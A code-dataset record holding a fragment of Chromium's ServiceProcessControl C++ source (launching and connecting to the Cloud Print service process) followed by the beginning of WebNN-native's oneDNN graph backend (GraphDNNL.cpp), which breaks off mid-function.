base::OnceCallback<void(std::unique_ptr<mojo::edk::PeerConnection>)> response_callback) { mojo::edk::ScopedInternalPlatformHandle os_pipe_handle = mojo::edk::CreateClientHandle(os_pipe); if (!os_pipe_handle.is_valid()) { if (num_retries_left == 0) { response_task_runner->PostTask( FROM_HERE, base::BindOnce(std::move(response_callback), nullptr)); } else { base::PostDelayedTaskWithTraits( FROM_HERE, {base::MayBlock(), base::TaskPriority::BACKGROUND}, base::BindOnce( &ConnectAsyncWithBackoff, std::move(interface_provider_request), std::move(os_pipe), num_retries_left - 1, retry_delay * 2, std::move(response_task_runner), std::move(response_callback)), retry_delay); } } else { auto peer_connection = std::make_unique<mojo::edk::PeerConnection>(); mojo::FuseMessagePipes( peer_connection->Connect(mojo::edk::ConnectionParams( mojo::edk::TransportProtocol::kLegacy, std::move(os_pipe_handle))), interface_provider_request.PassMessagePipe()); response_task_runner->PostTask(FROM_HERE, base::BindOnce(std::move(response_callback), std::move(peer_connection))); } } } // namespace // ServiceProcessControl implementation. ServiceProcessControl::ServiceProcessControl() : apply_changes_from_upgrade_observer_(false), weak_factory_(this) { UpgradeDetector::GetInstance()->AddObserver(this); } ServiceProcessControl::~ServiceProcessControl() { UpgradeDetector::GetInstance()->RemoveObserver(this); } void ServiceProcessControl::ConnectInternal() { // If the channel has already been established then we run the task // and return. if (service_process_) { RunConnectDoneTasks(); return; } // Actually going to connect. DVLOG(1) << "Connecting to Service Process IPC Server"; service_manager::mojom::InterfaceProviderPtr remote_interfaces; auto interface_provider_request = mojo::MakeRequest(&remote_interfaces); SetMojoHandle(std::move(remote_interfaces)); base::PostTaskWithTraits( FROM_HERE, {base::MayBlock(), base::TaskPriority::BACKGROUND}, base::BindOnce( &ConnectAsyncWithBackoff, std::move(interface_provider_request), GetServiceProcessChannel(), kMaxConnectionAttempts, kInitialConnectionRetryDelay, base::ThreadTaskRunnerHandle::Get(), base::BindOnce(&ServiceProcessControl::OnPeerConnectionComplete, weak_factory_.GetWeakPtr()))); } void ServiceProcessControl::OnPeerConnectionComplete( std::unique_ptr<mojo::edk::PeerConnection> peer_connection) { // Hold onto the connection object so the connection is kept alive. peer_connection_ = std::move(peer_connection); } void ServiceProcessControl::SetMojoHandle( service_manager::mojom::InterfaceProviderPtr handle) { remote_interfaces_.Close(); remote_interfaces_.Bind(std::move(handle)); remote_interfaces_.SetConnectionLostClosure(base::Bind( &ServiceProcessControl::OnChannelError, base::Unretained(this))); // TODO(hclam): Handle error connecting to channel. remote_interfaces_.GetInterface(&service_process_); service_process_->Hello(base::BindOnce( &ServiceProcessControl::OnChannelConnected, base::Unretained(this))); } void ServiceProcessControl::RunConnectDoneTasks() { // The tasks executed here may add more tasks to the vector. So copy // them to the stack before executing them. This way recursion is // avoided. TaskList tasks; if (IsConnected()) { tasks.swap(connect_success_tasks_); RunAllTasksHelper(&tasks); DCHECK(tasks.empty()); connect_failure_tasks_.clear(); } else { tasks.swap(connect_failure_tasks_); RunAllTasksHelper(&tasks); DCHECK(tasks.empty()); connect_success_tasks_.clear(); } } // static void ServiceProcessControl::RunAllTasksHelper(TaskList* task_list) { TaskList::iterator index = task_list->begin(); while (index != task_list->end()) { std::move(*index).Run(); index = task_list->erase(index); } } bool ServiceProcessControl::IsConnected() const { return !!service_process_; } void ServiceProcessControl::Launch(base::OnceClosure success_task, base::OnceClosure failure_task) { DCHECK_CURRENTLY_ON(BrowserThread::UI); if (success_task) connect_success_tasks_.emplace_back(std::move(success_task)); if (failure_task) connect_failure_tasks_.emplace_back(std::move(failure_task)); // If we already in the process of launching, then we are done. if (launcher_.get()) return; // If the service process is already running then connects to it. if (CheckServiceProcessReady()) { ConnectInternal(); return; } UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents", SERVICE_EVENT_LAUNCH, SERVICE_EVENT_MAX); std::unique_ptr<base::CommandLine> cmd_line( CreateServiceProcessCommandLine()); // And then start the process asynchronously. launcher_ = new Launcher(std::move(cmd_line)); launcher_->Run(base::Bind(&ServiceProcessControl::OnProcessLaunched, base::Unretained(this))); } void ServiceProcessControl::Disconnect() { DCHECK_CURRENTLY_ON(BrowserThread::UI); peer_connection_.reset(); remote_interfaces_.Close(); service_process_.reset(); } void ServiceProcessControl::OnProcessLaunched() { DCHECK_CURRENTLY_ON(BrowserThread::UI); if (launcher_->launched()) { UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents", SERVICE_EVENT_LAUNCHED, SERVICE_EVENT_MAX); // After we have successfully created the service process we try to connect // to it. The launch task is transfered to a connect task. ConnectInternal(); } else { UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents", SERVICE_EVENT_LAUNCH_FAILED, SERVICE_EVENT_MAX); // If we don't have process handle that means launching the service process // has failed. RunConnectDoneTasks(); } // We don't need the launcher anymore. launcher_ = NULL; } void ServiceProcessControl::OnUpgradeRecommended() { if (apply_changes_from_upgrade_observer_) service_process_->UpdateAvailable(); } void ServiceProcessControl::OnChannelConnected() { DCHECK_CURRENTLY_ON(BrowserThread::UI); UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents", SERVICE_EVENT_CHANNEL_CONNECTED, SERVICE_EVENT_MAX); // We just established a channel with the service process. Notify it if an // upgrade is available. if (UpgradeDetector::GetInstance()->notify_upgrade()) service_process_->UpdateAvailable(); else apply_changes_from_upgrade_observer_ = true; RunConnectDoneTasks(); } void ServiceProcessControl::OnChannelError() { DCHECK_CURRENTLY_ON(BrowserThread::UI); UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents", SERVICE_EVENT_CHANNEL_ERROR, SERVICE_EVENT_MAX); Disconnect(); RunConnectDoneTasks(); } void ServiceProcessControl::OnHistograms( const std::vector<std::string>& pickled_histograms) { UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents", SERVICE_EVENT_HISTOGRAMS_REPLY, SERVICE_EVENT_MAX); DCHECK_CURRENTLY_ON(BrowserThread::UI); base::HistogramDeltaSerialization::DeserializeAndAddSamples( pickled_histograms); RunHistogramsCallback(); } void ServiceProcessControl::RunHistogramsCallback() { DCHECK_CURRENTLY_ON(BrowserThread::UI); if (!histograms_callback_.is_null()) { histograms_callback_.Run(); histograms_callback_.Reset(); } histograms_timeout_callback_.Cancel(); } bool ServiceProcessControl::GetHistograms( const base::Closure& histograms_callback, const base::TimeDelta& timeout) { DCHECK_CURRENTLY_ON(BrowserThread::UI); DCHECK(!histograms_callback.is_null()); histograms_callback_.Reset(); #if defined(OS_MACOSX) // TODO(vitalybuka): Investigate why it crashes MAC http://crbug.com/406227. return false; #endif // OS_MACOSX // If the service process is already running then connect to it. if (!CheckServiceProcessReady()) return false; ConnectInternal(); UMA_HISTOGRAM_ENUMERATION("CloudPrint.ServiceEvents", SERVICE_EVENT_HISTOGRAMS_REQUEST, SERVICE_EVENT_MAX); if (!service_process_) return false; service_process_->GetHistograms(base::BindOnce( &ServiceProcessControl::OnHistograms, base::Unretained(this))); // Run timeout task to make sure |histograms_callback| is called. histograms_timeout_callback_.Reset(base::Bind( &ServiceProcessControl::RunHistogramsCallback, base::Unretained(this))); BrowserThread::PostDelayedTask(BrowserThread::UI, FROM_HERE, histograms_timeout_callback_.callback(), timeout); histograms_callback_ = histograms_callback; return true; } bool ServiceProcessControl::Shutdown() { DCHECK_CURRENTLY_ON(BrowserThread::UI); if (!service_process_) return false; service_process_->ShutDown(); Disconnect(); return true; } // static ServiceProcessControl* ServiceProcessControl::GetInstance() { return base::Singleton<ServiceProcessControl>::get(); } ServiceProcessControl::Launcher::Launcher( std::unique_ptr<base::CommandLine> cmd_line) : cmd_line_(std::move(cmd_line)), launched_(false), retry_count_(0) {} // Execute the command line to start the process asynchronously. // After the command is executed, |task| is called with the process handle on // the UI thread. void ServiceProcessControl::Launcher::Run(const base::Closure& task) { DCHECK_CURRENTLY_ON(BrowserThread::UI); notify_task_ = task; content::GetProcessLauncherTaskRunner()->PostTask( FROM_HERE, base::BindOnce(&Launcher::DoRun, this)); } ServiceProcessControl::Launcher::~Launcher() { } void ServiceProcessControl::Launcher::Notify() { DCHECK(!notify_task_.is_null()); notify_task_.Run(); notify_task_.Reset(); } #if !defined(OS_MACOSX) void ServiceProcessControl::Launcher::DoDetectLaunched() { DCHECK(!notify_task_.is_null()); const uint32_t kMaxLaunchDetectRetries = 10; launched_ = CheckServiceProcessReady(); int exit_code = 0; if (launched_ || (retry_count_ >= kMaxLaunchDetectRetries) || process_.WaitForExitWithTimeout(base::TimeDelta(), &exit_code)) { process_.Close(); BrowserThread::PostTask( BrowserThread::UI, FROM_HERE, base::Bind(&Launcher::Notify, this)); return; } retry_count_++; // If the service process is not launched yet then check again in 2 seconds. const base::TimeDelta kDetectLaunchRetry = base::TimeDelta::FromSeconds(2); base::ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::Bind(&Launcher::DoDetectLaunched, this), kDetectLaunchRetry); } void ServiceProcessControl::Launcher::DoRun() { DCHECK(!notify_task_.is_null()); base::LaunchOptions options; #if defined(OS_WIN) options.start_hidden = true; #endif process_ = base::LaunchProcess(*cmd_line_, options); if (process_.IsValid()) { BrowserThread::PostTask( BrowserThread::IO, FROM_HERE, base::Bind(&Launcher::DoDetectLaunched, this)); } else { BrowserThread::PostTask( BrowserThread::UI, FROM_HERE, base::Bind(&Launcher::Notify, this)); } } #endif // !OS_MACOSX
34.445844
80
0.727239
zipated
0e81eefe48f137490164167d8a9ddacbd025e739
53,797
cpp
C++
src/webnn_native/onednn/GraphDNNL.cpp
Honry/webnn-native
462c43fffe89d40a4e5db171895b5e608500ee6c
[ "Apache-2.0" ]
null
null
null
src/webnn_native/onednn/GraphDNNL.cpp
Honry/webnn-native
462c43fffe89d40a4e5db171895b5e608500ee6c
[ "Apache-2.0" ]
1
2021-09-23T08:48:05.000Z
2021-09-24T01:44:38.000Z
src/webnn_native/onednn/GraphDNNL.cpp
Honry/webnn-native
462c43fffe89d40a4e5db171895b5e608500ee6c
[ "Apache-2.0" ]
null
null
null
// Copyright 2021 The WebNN-native Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "webnn_native/onednn/GraphDNNL.h" #include <numeric> #include "common/Assert.h" #include "common/Log.h" #include "webnn_native/ErrorData.h" #include "webnn_native/NamedInputs.h" #include "webnn_native/NamedOutputs.h" #include "webnn_native/Operand.h" #include "webnn_native/Utils.h" #define FAILED(status) (((dnnl_status_t)(status)) != dnnl_success) const char* dnnl_status2str(dnnl_status_t v) { if (v == dnnl_success) return "success"; if (v == dnnl_out_of_memory) return "out_of_memory"; if (v == dnnl_invalid_arguments) return "invalid_arguments"; if (v == dnnl_unimplemented) return "unimplemented"; if (v == dnnl_iterator_ends) return "iterator_ends"; if (v == dnnl_runtime_error) return "runtime_error"; if (v == dnnl_not_required) return "not_required"; return "unknown status"; } #define COMPLAIN_DNNL_ERROR_AND_RETURN_DNNL_ERROR(what, status) \ do { \ dawn::ErrorLog() << what << " returns oneDNN error: " << dnnl_status2str(status); \ return status; \ } while (0) #define DNNL_TRY(f) \ do { \ dnnl_status_t s_ = f; \ if (s_ != dnnl_success) \ COMPLAIN_DNNL_ERROR_AND_RETURN_DNNL_ERROR(#f, s_); \ } while (0) #define COMPLAIN_DNNL_ERROR_AND_RETURN_DAWN_ERROR(what, status) \ do { \ std::string message = std::string(what) + std::string(" returns oneDNN error: ") + \ std::string(dnnl_status2str(s_)); \ return DAWN_INTERNAL_ERROR(message.c_str()); \ } while (0) #if defined(DAWN_TRY) # undef DAWN_TRY #endif #define DAWN_TRY(f) \ do { \ dnnl_status_t s_ = f; \ if (s_ != dnnl_success) \ COMPLAIN_DNNL_ERROR_AND_RETURN_DAWN_ERROR(#f, s_); \ } while (0) #define COMPUTE_DNNL_ERROR(what, status) \ do { \ std::string message = std::string(what) + std::string(" returns oneDNN error: ") + \ std::string(dnnl_status2str(s_)); \ dawn::ErrorLog() << message; \ return MLComputeGraphStatus_Error; \ } while (0) #define COMPUTE_TRY(f) \ do { \ dnnl_status_t s_ = f; \ if (s_ != dnnl_success) \ COMPUTE_DNNL_ERROR(#f, s_); \ } while (0) namespace webnn_native { namespace onednn { namespace { dnnl_status_t GetDnnlDataType(ml::OperandType operandType, dnnl_data_type_t& dnnlDataType) { if (operandType == ml::OperandType::Float32) { dnnlDataType = dnnl_f32; } else if (operandType == ml::OperandType::Float16) { dnnlDataType = dnnl_f16; } else if (operandType == ml::OperandType::Int32) { dnnlDataType = dnnl_s32; } else { return dnnl_invalid_arguments; } return dnnl_success; } dnnl_status_t GetDnnlDimsAndFormartTag(int32_t const* dimensions, uint32_t dimensionsCount, std::vector<dnnl_dim_t>& dnnlDims, dnnl_format_tag_t& tag) { if (dimensionsCount > DNNL_MAX_NDIMS) { return dnnl_invalid_arguments; } else { if (dimensionsCount > 0) { dnnlDims.resize(dimensionsCount); for (uint32_t i = 0; i < dimensionsCount; ++i) { int32_t d = dimensions[i]; if (d < 0) { dawn::ErrorLog() << "oneDNN doesn't support the negative dimension value"; return dnnl_invalid_arguments; } dnnlDims[i] = d; } } else { // for scalar constant dimensionsCount = 1; dnnlDims.resize(dimensionsCount); dnnlDims[0] = 1; } const dnnl_format_tag_t tags[12] = { dnnl_a, ///< plain 1D tensor dnnl_ab, ///< plain 2D tensor dnnl_abc, ///< plain 3D tensor dnnl_abcd, ///< plain 4D tensor dnnl_abcde, ///< plain 5D tensor dnnl_abcdef, ///< plain 6D tensor dnnl_abcdefg, ///< plain 7D tensor dnnl_abcdefgh, ///< plain 8D tensor dnnl_abcdefghi, ///< plain 9D tensor dnnl_abcdefghij, ///< plain 10D tensor dnnl_abcdefghijk, ///< plain 11D tensor dnnl_abcdefghijkl ///< plain 12D tensor }; tag = tags[dimensionsCount - 1]; return dnnl_success; } } enum AccessMode { READ, WRITE }; dnnl_status_t AccessMemory(void* buffer, size_t size, dnnl_memory_t mem, const AccessMode mode) { DAWN_ASSERT(buffer != nullptr); dnnl_engine_t engine; DNNL_TRY(dnnl_memory_get_engine(mem, &engine)); const dnnl_memory_desc_t* md; DNNL_TRY(dnnl_memory_get_memory_desc(mem, &md)); size_t bytes = dnnl_memory_desc_get_size(md); if (bytes != size) { dawn::ErrorLog() << "The size is incorrect."; return dnnl_invalid_arguments; } dnnl_engine_kind_t engineKind; DNNL_TRY(dnnl_engine_get_kind(engine, &engineKind)); if (engineKind == dnnl_cpu) { void* ptr = nullptr; DNNL_TRY(dnnl_memory_get_data_handle(mem, &ptr)); if (ptr) { if (mode == WRITE) { memcpy(ptr, buffer, bytes); } else { memcpy(buffer, ptr, bytes); } } else { dawn::ErrorLog() << "Failed to get memory data handle."; return dnnl_runtime_error; } } else { dawn::ErrorLog() << "Only cpu engine is supported."; return dnnl_invalid_arguments; } return dnnl_success; } dnnl_status_t WriteToMemory(const void* value, size_t size, dnnl_memory_t mem) { return AccessMemory(const_cast<void*>(value), size, mem, WRITE); } dnnl_status_t ReadFromMemory(void* buffer, size_t size, dnnl_memory_t mem) { return AccessMemory(buffer, size, mem, READ); } dnnl_status_t CreateDnnlMemory(dnnl_engine_t engine, const OperandDescriptor* desc, dnnl_memory_t* memory, const void* value = nullptr, size_t size = 0) { dnnl_data_type_t dataType; DNNL_TRY(GetDnnlDataType(desc->type, dataType)); std::vector<dnnl_dim_t> dims; dnnl_format_tag_t tag; DNNL_TRY(GetDnnlDimsAndFormartTag(desc->dimensions, desc->dimensionsCount, dims, tag)); dnnl_memory_desc_t md; DNNL_TRY(dnnl_memory_desc_init_by_tag(&md, dims.size(), dims.data(), dataType, tag)); void* flag; if (value != nullptr) { flag = DNNL_MEMORY_ALLOCATE; } else { flag = DNNL_MEMORY_NONE; } DNNL_TRY(dnnl_memory_create(memory, &md, engine, flag)); if (value != nullptr) { DNNL_TRY(WriteToMemory(value, size, *memory)); } return dnnl_success; } std::vector<dnnl_dim_t> ShrinkDimensions(const std::vector<dnnl_dim_t>& dims, size_t rank) { DAWN_ASSERT(rank <= dims.size()); std::vector<dnnl_dim_t> newDims(rank); for (size_t i = 0; i < rank; ++i) { newDims[newDims.size() - i - 1] = dims[dims.size() - i - 1]; } return newDims; } std::vector<dnnl_dim_t> ExpandDimensions(const std::vector<dnnl_dim_t>& dims, size_t rank) { DAWN_ASSERT(rank >= dims.size()); std::vector<dnnl_dim_t> newDims(rank, 1); for (size_t i = 0; i < dims.size(); ++i) { newDims[newDims.size() - i - 1] = dims[dims.size() - i - 1]; } return newDims; } dnnl_status_t BroadcastDimensions(std::vector<dnnl_dim_t>& aDims, std::vector<dnnl_dim_t>& bDims, std::vector<dnnl_dim_t>& cDims, bool& aBroadcasted, bool& bBroadcasted, size_t skipAxis = 0) { auto aRank = aDims.size(); auto bRank = bDims.size(); auto cRank = cDims.size(); auto newRank = std::max(aRank, bRank); std::vector<dnnl_dim_t> aNewDims; std::vector<dnnl_dim_t> bNewDims; std::vector<dnnl_dim_t> cNewDims; if (newRank > aRank) { aNewDims = ExpandDimensions(aDims, newRank); aBroadcasted = true; } else { aNewDims = aDims; } if (newRank > bRank) { bNewDims = ExpandDimensions(bDims, newRank); bBroadcasted = true; } else { bNewDims = bDims; } if (newRank > cRank) { cNewDims = ExpandDimensions(cDims, newRank); } else { cNewDims = cDims; } for (size_t i = 0; i < newRank - skipAxis; i++) { if (aNewDims[i] == 1 && bNewDims[i] != 1) { cNewDims[i] = bNewDims[i]; } else if (bNewDims[i] == 1 && aNewDims[i] != 1) { cNewDims[i] = aNewDims[i]; } else if (aNewDims[i] != bNewDims[i]) { return dnnl_invalid_arguments; } else { cNewDims[i] = aNewDims[i]; } } aDims = aNewDims; bDims = bNewDims; cDims = cNewDims; return dnnl_success; } } // anonymous namespace Graph::Graph(Context* context) : GraphBase(context) { } Graph::~Graph() { for (auto memory : mMemories) { dnnl_memory_destroy(memory); } for (auto op : mOperations) { dnnl_primitive_destroy(op.primitive); } } MaybeError Graph::AddConstant(const op::Constant* constant) { const OperandDescriptor* desc = constant->GetOperandDescriptor(); dnnl_memory_t memory; DAWN_TRY(CreateDnnlMemory(GetEngine(), desc, &memory, constant->GetBuffer(), constant->GetByteLength())); mMemories.push_back(memory); mConstantMemories.insert(memory); mOperandMemoryMap.insert(std::make_pair(constant->PrimaryOutput(), memory)); return {}; } MaybeError Graph::AddInput(const op::Input* input) { const OperandDescriptor* desc = input->GetOperandDescriptor(); dnnl_memory_t memory; DAWN_TRY(CreateDnnlMemory(GetEngine(), desc, &memory)); mMemories.push_back(memory); mOperandMemoryMap.insert(std::make_pair(input->PrimaryOutput(), memory)); mInputMemoryMap.insert(std::make_pair(input->GetName(), memory)); return {}; } dnnl_status_t Graph::BuildPrimitives() { if (mOperandsToBuild.empty()) { dawn::ErrorLog() << "No operators to build."; return dnnl_invalid_arguments; } auto& info = mOperandsToBuild[0]; if (mOperandsToBuild.size() == 1) { if (info.opType == OperatorType::UNARY) { DNNL_TRY(AddUnaryImpl(reinterpret_cast<const op::Unary*>(info.op))); } else if (info.opType == OperatorType::CLAMP) { DNNL_TRY(AddClampImpl(reinterpret_cast<const op::Clamp*>(info.op))); } else if (info.opType == OperatorType::BINARY) { DNNL_TRY(AddBinaryImpl(reinterpret_cast<const op::Binary*>(info.op))); } else if (info.opType == OperatorType::CONV2D) { DNNL_TRY(AddConv2dImpl(reinterpret_cast<const op::Conv2d*>(info.op))); } else if (info.opType == OperatorType::POOL2D) { DNNL_TRY(AddPool2dImpl(reinterpret_cast<const op::Pool2d*>(info.op))); } else { return dnnl_unimplemented; } } else if (info.opType == OperatorType::CONV2D) { // Try to fuse add and clamp into conv2d const op::Conv2d* conv2d = reinterpret_cast<const op::Conv2d*>(info.op); if (mOperandsToBuild.size() > 3) { dawn::ErrorLog() << "Cannot fuse conv2d subgraph with more than 3 ops."; return dnnl_invalid_arguments; } const op::Binary* add = nullptr; const op::FusionClamp* clamp = nullptr; for (size_t i = 1; i < mOperandsToBuild.size(); ++i) { auto& postOp = mOperandsToBuild[i]; if (postOp.opType == OperatorType::BINARY && reinterpret_cast<const op::Binary*>(postOp.op)->GetType() == op::BinaryOpType::kAdd) { add = reinterpret_cast<const op::Binary*>(postOp.op); } else if (postOp.opType == OperatorType::CLAMP) { clamp = reinterpret_cast<const op::FusionClamp*>(postOp.op); } } if ((mOperandsToBuild.size() == 2 && !add && !clamp) || (mOperandsToBuild.size() == 3 && (!add || !clamp))) { dawn::ErrorLog() << "Failed to fuse conv2d subgraph."; return dnnl_invalid_arguments; } DNNL_TRY(AddConv2dImpl(conv2d, add, clamp)); } else { return dnnl_unimplemented; } return dnnl_success; } MaybeError Graph::AddOutput(const std::string& name, const OperandBase* output) { DAWN_TRY(BuildPrimitives()); DAWN_ASSERT(mOperandMemoryMap.find(output) != mOperandMemoryMap.end()); dnnl_memory_t plainOutputMemory; DAWN_TRY(ReorderToPlainFormat(mOperandMemoryMap.at(output), &plainOutputMemory)); mOutputMemoryMap.insert(std::make_pair(name, plainOutputMemory)); return {}; } MaybeError Graph::AddBinary(const op::Binary* binary) { mOperandsToBuild.push_back({OperatorType::BINARY, binary}); return {}; } dnnl_status_t Graph::AddBinaryImpl(const op::Binary* binary) { DAWN_ASSERT(binary->Inputs().size() == 2); DAWN_ASSERT(mOperandMemoryMap.find(binary->Inputs()[0].Get()) != mOperandMemoryMap.end()); dnnl_memory_t aMemory = mOperandMemoryMap.at(binary->Inputs()[0].Get()); const dnnl_memory_desc_t* aMemoryDesc; DNNL_TRY(GetMemoryDesc(aMemory, &aMemoryDesc)); DAWN_ASSERT(mOperandMemoryMap.find(binary->Inputs()[1].Get()) != mOperandMemoryMap.end()); dnnl_memory_t bMemory = mOperandMemoryMap.at(binary->Inputs()[1].Get()); const dnnl_memory_desc_t* bMemoryDesc; DNNL_TRY(GetMemoryDesc(bMemory, &bMemoryDesc)); std::vector<dnnl_dim_t> aDims(aMemoryDesc->dims, aMemoryDesc->dims + aMemoryDesc->ndims); std::vector<dnnl_dim_t> bDims(bMemoryDesc->dims, bMemoryDesc->dims + bMemoryDesc->ndims); std::vector<dnnl_dim_t> cDims; bool aBroadcasted = false; bool bBroadcasted = false; const int aRank = aDims.size(); const int bRank = bDims.size(); int cRank = 0; bool needBroadcast = true; size_t broadcastSkipAxis = 0; if (binary->GetType() == op::BinaryOpType::kMatMul) { if (aRank == 1 && bRank == 1) { // If both a and b are 1-D, the operation is a vector dot-product, // which produces a scalar output. cRank = 1; } else { // The output is a N-D tensor whose rank is the maximum rank of the // input tensors. cRank = std::max(aRank, bRank); } if (aRank == 1) { // If a is 1-D, it is converted to a 2-D tensor by prepending a 1 to its dimensions dnnl_dim_t dim = aDims[0]; aDims.resize(2); aDims[0] = 1; aDims[1] = dim; aBroadcasted = true; } if (bRank == 1) { // If b is 1-D, it is converted to a 2-D tensor by by appending a 1 to its // dimensions. dnnl_dim_t dim = bDims[0]; bDims.resize(2); bDims[0] = dim; bDims[1] = 1; bBroadcasted = true; } if (aDims.size() > 2 || bDims.size() > 2) { // If either a or b is N-D, N > 2, it is treated as a stack of matrices // with dimensions corresponding to the last two indices. The matrix // multiplication will be broadcasted accordingly by following // [numpy-broadcasting-rule]. needBroadcast = true; broadcastSkipAxis = 2; } else { needBroadcast = false; } // Set output dims. cDims.resize(2); cDims[0] = aDims[aDims.size() - 2]; cDims[1] = bDims[bDims.size() - 1]; } else { // The element-wise binary operation will be broadcasted according to // [numpy-broadcasting-rule]. needBroadcast = true; broadcastSkipAxis = 0; } if (needBroadcast) { DNNL_TRY(BroadcastDimensions(aDims, bDims, cDims, aBroadcasted, bBroadcasted, broadcastSkipAxis)); } dnnl_memory_desc_t aBroadcastedMemoryDesc; if (aBroadcasted) { DNNL_TRY(dnnl_memory_desc_reshape(&aBroadcastedMemoryDesc, aMemoryDesc, aDims.size(), aDims.data())); aMemoryDesc = &aBroadcastedMemoryDesc; } dnnl_memory_desc_t bBroadcastedMemoryDesc; if (bBroadcasted) { DNNL_TRY(dnnl_memory_desc_reshape(&bBroadcastedMemoryDesc, bMemoryDesc, bDims.size(), bDims.data())); bMemoryDesc = &bBroadcastedMemoryDesc; } dnnl_memory_desc_t cInitDesc; DNNL_TRY(dnnl_memory_desc_init_by_tag(&cInitDesc, cDims.size(), cDims.data(), aMemoryDesc->data_type, dnnl_format_tag_any)); dnnl_primitive_desc_t primitiveDesc; dnnl_data_type_t dataType = aMemoryDesc->data_type; if (binary->GetType() == op::BinaryOpType::kMatMul) { dnnl_memory_desc_t aInitDesc; DNNL_TRY(dnnl_memory_desc_init_by_tag(&aInitDesc, aDims.size(), aDims.data(), dataType, dnnl_format_tag_any)); dnnl_memory_desc_t bInitDesc; DNNL_TRY(dnnl_memory_desc_init_by_tag(&bInitDesc, bDims.size(), bDims.data(), dataType, dnnl_format_tag_any)); dnnl_matmul_desc_t matmulDesc; DNNL_TRY(dnnl_matmul_desc_init(&matmulDesc, &aInitDesc, &bInitDesc, NULL, &cInitDesc)); DNNL_TRY( dnnl_primitive_desc_create(&primitiveDesc, &matmulDesc, NULL, GetEngine(), NULL)); const dnnl_memory_desc_t* input0InternalMemoryDesc = dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_src_md, 0); DNNL_TRY(ReorderIfNeeded(aMemoryDesc, aMemory, input0InternalMemoryDesc, &aMemory)); const dnnl_memory_desc_t* input1InternalMemoryDesc = dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_weights_md, 0); DNNL_TRY(ReorderIfNeeded(bMemoryDesc, bMemory, input1InternalMemoryDesc, &bMemory)); } else { dnnl_alg_kind_t algKind; if (binary->GetType() == op::BinaryOpType::kAdd) { algKind = dnnl_binary_add; } else if (binary->GetType() == op::BinaryOpType::kMul) { algKind = dnnl_binary_mul; } else { return dnnl_unimplemented; } dnnl_binary_desc_t binaryDesc; DNNL_TRY( dnnl_binary_desc_init(&binaryDesc, algKind, aMemoryDesc, bMemoryDesc, &cInitDesc)); DNNL_TRY( dnnl_primitive_desc_create(&primitiveDesc, &binaryDesc, NULL, GetEngine(), NULL)); } dnnl_memory_t cMemory; dnnl_primitive_t primitive; const dnnl_memory_desc_t* cMemoryDesc = dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_dst_md, 0); DNNL_TRY(dnnl_memory_create(&cMemory, cMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE)); DNNL_TRY(dnnl_primitive_create(&primitive, primitiveDesc)); DNNL_TRY(dnnl_primitive_desc_destroy(primitiveDesc)); std::vector<dnnl_exec_arg_t> args; if (binary->GetType() == op::BinaryOpType::kMatMul) { args = {{DNNL_ARG_SRC, aMemory}, {DNNL_ARG_WEIGHTS, bMemory}, {DNNL_ARG_DST, cMemory}}; } else { args = {{DNNL_ARG_SRC_0, aMemory}, {DNNL_ARG_SRC_1, bMemory}, {DNNL_ARG_DST, cMemory}}; } mOperations.push_back({primitive, args}); mMemories.push_back(cMemory); mOperandMemoryMap.insert(std::make_pair(binary->PrimaryOutput(), cMemory)); if (cRank != 0 && cRank < cMemoryDesc->ndims) { std::vector<dnnl_dim_t> cDims(cMemoryDesc->dims, cMemoryDesc->dims + cMemoryDesc->ndims); std::vector<dnnl_dim_t> cNewDims = ShrinkDimensions(cDims, cRank); dnnl_memory_desc_t cNewMemoryDesc; DNNL_TRY(dnnl_memory_desc_reshape(&cNewMemoryDesc, cMemoryDesc, cNewDims.size(), cNewDims.data())); mMemoryReinterprets.insert(std::make_pair(cMemory, cNewMemoryDesc)); } return dnnl_success; } MaybeError Graph::AddConv2d(const op::Conv2d* conv2d) { mOperandsToBuild.push_back({OperatorType::CONV2D, conv2d}); return {}; } dnnl_status_t Graph::AddConv2dImpl(const op::Conv2d* conv2d, const op::Binary* add, const op::FusionClamp* clamp) { DAWN_ASSERT(conv2d->Inputs().size() == 2 || conv2d->Inputs().size() == 3); const OperandBase* inputOperand = conv2d->Inputs()[0].Get(); DAWN_ASSERT(mOperandMemoryMap.find(inputOperand) != mOperandMemoryMap.end()); dnnl_memory_t inputMemory = mOperandMemoryMap.at(inputOperand); const dnnl_memory_desc_t* inputMemoryDesc; DNNL_TRY(GetMemoryDesc(inputMemory, &inputMemoryDesc)); std::vector<dnnl_dim_t> inputDims; const Conv2dOptions* options = conv2d->GetOptions(); const dnnl_memory_desc_t* actualInputMemoryDesc; dnnl_memory_desc_t transposedInputMemoryDesc; if (options->inputLayout == ml::InputOperandLayout::Nhwc) { const int permute[] = {0, 2, 3, 1}; DNNL_TRY(dnnl_memory_desc_permute_axes(&transposedInputMemoryDesc, inputMemoryDesc, permute)); inputDims.assign(transposedInputMemoryDesc.dims, transposedInputMemoryDesc.dims + transposedInputMemoryDesc.ndims); // logical dimension is always in {NCHW} // physical layout is nhwc for input DNNL_TRY(dnnl_memory_desc_init_by_tag(&transposedInputMemoryDesc, inputDims.size(), inputDims.data(), inputMemoryDesc->data_type, dnnl_nhwc)); actualInputMemoryDesc = &transposedInputMemoryDesc; } else { inputDims.assign(inputMemoryDesc->dims, inputMemoryDesc->dims + inputMemoryDesc->ndims); actualInputMemoryDesc = inputMemoryDesc; } const OperandBase* filterOperand = conv2d->Inputs()[1].Get(); DAWN_ASSERT(mOperandMemoryMap.find(filterOperand) != mOperandMemoryMap.end()); dnnl_memory_t filterMemory = mOperandMemoryMap.at(filterOperand); const dnnl_memory_desc_t* filterMemoryDesc; DNNL_TRY(GetMemoryDesc(filterMemory, 